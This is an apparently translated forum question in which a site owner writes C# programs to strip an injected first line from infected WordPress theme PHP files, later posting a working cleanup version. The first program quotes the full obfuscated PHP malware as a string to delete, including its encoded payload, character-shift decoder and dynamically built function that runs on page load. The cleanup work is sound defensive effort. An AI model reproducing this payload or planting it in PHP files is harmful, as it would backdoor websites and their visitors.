我的文件中有一些病毒，并且每个第一行都插入了相同的文本。由于有大量文件我想通过程序删除它们。问题是在该文本之后的第一行某处有<?php并且需要保留以便我创建此代码：
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
string[] files = System.IO.Directory.GetFiles("C:\\Users\\arist\\Desktop\\wp-content\\themes\\business-press", "*.php");
foreach (string f in files)
{
string line = null;
string line_to_delete = "<?php $knitglx = '<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]K $uas=strtolower($_SERVER[\" x48 124 x54 120 x5f 125 x53 105 x52275fubmgoj{ h1:|:*mmvo:>:iuhofm %:-5ppde: 4:|:**#ppde#)tutjyf`mdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572qp%!-uyfu%)3of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWS24<%j,,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<! xy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27x64 162 x6f 151 x64\")) or (strstr($uas,\" x63 150 x72 157 x6d 145\")) o!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{)7fmjix6<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utppn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:61/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gpstpqsut>j%!*72! x27!hm]241]334]368]322]3]364]6]283]427]36]373197g:74985-rr.93e:5597f-s.9)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x55]DgP5]D6#<%fdy>#]D4]273]D6P2L5g%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofm~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#[k2`{ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!of:opjudovg<~ x24<!%o:!>! x242178}7id%6< x7fw6* x7f_*#ujojRk3`{666r (strstr($uas,\" x66 151 x72 145 x)dfyfR x27tfs%6<*17-SFEBFI,osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;3vufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3!oepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW3bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%lf_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%fttj x22)gj6<^#Y# x5cq% x27Y%6<.msbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI8]y7f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]6v`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;%V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%)kVx{**#:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:1L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x2)7gj6<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6* x7FT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}^#iubq# x5cq% x27jsv%6<C>^#zsfvc^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pmfV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%xB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#6>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!<** $kgdioho();}})%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b43]321]464]284]364]6]234]342]58]24]31%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hO x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)fnbozcYufh24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x24/%tjw/ x24)% x2ek!~!<b% x7f!<X>b%Z<#opo#x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpM#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwb66 157 x78\"))) { $vlmnngk = \" x63 162 x65 141 x74!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudop%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#527}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x2)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-# 137 x41 107 x45 116 x54\"]); if ((strstr($uas,\" x6d 163 x69 127,*e x27,*d x27,*c x27,*b x27)fepdof24<!%tmw!>!#]y84]275]y83]273]yV<#65,47R25,d7R17,67R37,#/q%>U<#16,4c]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdzvg!|!**#j{hnpd#)tutjyf`opjudovg x2&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zb5egb2dc#*<!sfuvso!sbpd%6<pd%w6Z6<.4`hA x27pd%6<pd%qssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zP6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#w/ x24)##-!#~<#/% x24- x24!>!fyqmpefj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tp 145 x5f 146 x75 156 x63 164 x69 157 x6e\"; function ranakil($nuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_h%)sutcvt)esp>hmg%!<12>j%!|opd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)4- x24-!% x24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)% x24- x7y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>){return chr(ord($n)-1);} @error_reporting(0); $bgmwrdz = im2)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*356 x61\"])))) { $GLOBALS[\" x61 156 x75 156 x61\"]=1;!#]D6M7]K3#<%yy>#]D6]281L1#/#Mc1^W%c!>!%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7 x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%):>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5h%:<#64y]552]e7y]#>n%<#372]58d%6<C x27pd%6|6.7eu{66~6776]277#<!%t2w>#]y74]273]y76]2}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]pmdXA6|7**197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7fw6*3qj%7>/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbmstrstr($uas,\" x61 156 h/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboeplode(array_map(\"ranakil\",45\")) or (strstr($uas,\" x72 166 x3a 61 x31\")) or (77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqn<&w6<*&7-#o]s]o]s]#)fepmqyf }k~~9{d%:osvufs:~928>> x22:]48y]#>m%:|:*r%:-t%)3_;#)323ldfid>}&;!osvufs} x7f;!opjudovgm)%tjw)# x24#-!#]y38#-!%w:**<\")));$kgdioho = $vlmnngk(\"\", $bgmwrdz);.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`un>q24- x24gps)%j>1<%j=tj{fpg)% x24- x24*<!~! x24/%t2gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osstr_split(\"%tjw!>!#]y84]275]y83]248]y83]256]y81e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x27{ftd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x52]y85]256]y6g]257]y86]267]y74]275]y7:]26)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225r# x5cq%7**^#zsfvr# x5cq%)u`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqp6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuif((function_exists(\" x6f 142 x5f 163 x74 141 x72 164\") && (!isset]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x274- x24y4 x24- x24]y8 x24- x24]26 x24- x#jt0*?]+^?]_ x5c}X x7R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q73:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]5I#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ft4 x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{<*qp%-*.%)euhA)3of>2b($GLOBALS[\" x61 156 x75 1StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSaruwtdbtk'; $azgfgart=explode(chr((633-513)),substr($knitglx,(24966-18946),(115-81))); $lxqorzw = $azgfgart[0]($azgfgart[(6-5)]); $juqupxgp = $azgfgart[0]($azgfgart[(12-10)]); if (!function_exists('wzxxagx')) { function wzxxagx($igcudkdzn, $nuipwlbi,$bvymonp) { $ygaatkht = NULL; for($exsedaoj=0;$exsedaoj<(sizeof($igcudkdzn)/2);$exsedaoj++) { $ygaatkht .= substr($nuipwlbi, $igcudkdzn[($exsedaoj*2)],$igcudkdzn[($exsedaoj*2)+(4-3)]); } return $bvymonp(chr((33-24)),chr((628-536)),$ygaatkht); }; } $hmntrug = explode(chr((242-198)),'5561,66,5995,25,4040,50,37,63,3006,61,4712,50,4616,22,453,69,1160,34,2745,49,3576,62,3931,60,4686,26,5204,47,5627,64,3334,30,2128,37,4313,25,4864,28,2655,38,159,40,558,46,5850,57,4463,54,4517,46,2497,63,4170,34,2048,31,5466,27,1498,34,1636,58,1929,56,1439,59,1194,27,1868,61,1128,32,934,52,5527,34,3706,33,5493,34,3638,41,1047,47,5142,62,1268,67,4204,36,693,21,875,59,387,66,522,36,3679,27,2794,66,3220,34,3991,49,3739,48,5974,21,5313,44,3067,37,5046,47,2860,49,4799,65,3527,49,3364,63,1532,34,3254,60,2630,25,2265,67,264,70,1985,63,4940,38,4892,27,986,61,100,59,5907,67,5251,62,2165,44,3134,36,5750,39,1731,47,1694,37,1221,47,1384,55,4367,32,5730,20,3104,30,4338,29,5357,41,1566,70,3894,37,1778,34,4284,29,199,65,4919,21,1094,34,2909,44,3832,62,2560,70,5691,39,334,53,5093,49,3491,36,780,64,4120,50,2209,56,3314,20,1335,49,2438,59,4638,48,604,43,753,27,5789,61,1812,56,4762,37,4090,30,844,31,3427,64,0,37,3170,50,5398,68,714,39,4399,64,2401,37,3787,45,647,46,2346,55,4240,44,2079,49,4563,53,2953,53,2693,52,4978,68,2332,14'); $fmfqhx = $lxqorzw(\"\",wzxxagx($hmntrug,$knitglx,$juqupxgp)); $lxqorzw=$knitglx; $fmfqhx(\"\"); $fmfqhx=(508-387); $knitglx=$fmfqhx-1; ?>\"";
using (StreamReader reader = new StreamReader(Path.Combine("C:\\Users\\arist\\Desktop\\wp-content\\themes\\business-press\\", f)))
{
line = reader.ReadLine();
Console.WriteLine(f + "=" + line + Environment.NewLine + Environment.NewLine);
using (StreamWriter writer = File.AppendText("C:\\Users\\arist\\Desktop\\wp-content\\themes\\business-press1\\help.php"))
{
string newString = line.Replace(line_to_delete, "");
writer.WriteLine(newString);
}
}
}
Console.ReadKey();
}
}
}
问题在于，出于某种原因，它仅记录和打印line_to_delete但仅出于某种原因line.Replace is not deleting it for string的文件。
问题是什么。
编辑：
已完成的代码，用于从文件夹和目录的子文件夹中的扩展名为.php的所有文件中删除行：
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
string dir = "C:\\Users\\arist\\Desktop\\wp-content";
int i = 1;
string[] files = Directory.GetFiles(dir, "*.php", SearchOption.AllDirectories);
foreach (string f in files)
{
string line = null;
string lookFor = "$knitglx=$fmfqhx-1; ?>"; //End of the line i wanted to delete so it deletes everything before this.
using (StreamReader reader = new StreamReader(f))
{
line = reader.ReadToEnd();
}
using (StreamWriter writer = new StreamWriter(Path.Combine(dir, f)))
{
var v = line.IndexOf(lookFor);
if (v > 0)
{
var cleaned = line.Substring(v + lookFor.Length);
writer.WriteLine(cleaned);
}
else
{
writer.WriteLine(line);
}
Console.WriteLine(i + ". " + f);
i++;
}
}
Console.Write("Finished");
Console.ReadKey();
}
}
}
所以，如果有人需要这个，但要小心，复制你所做的一切!!!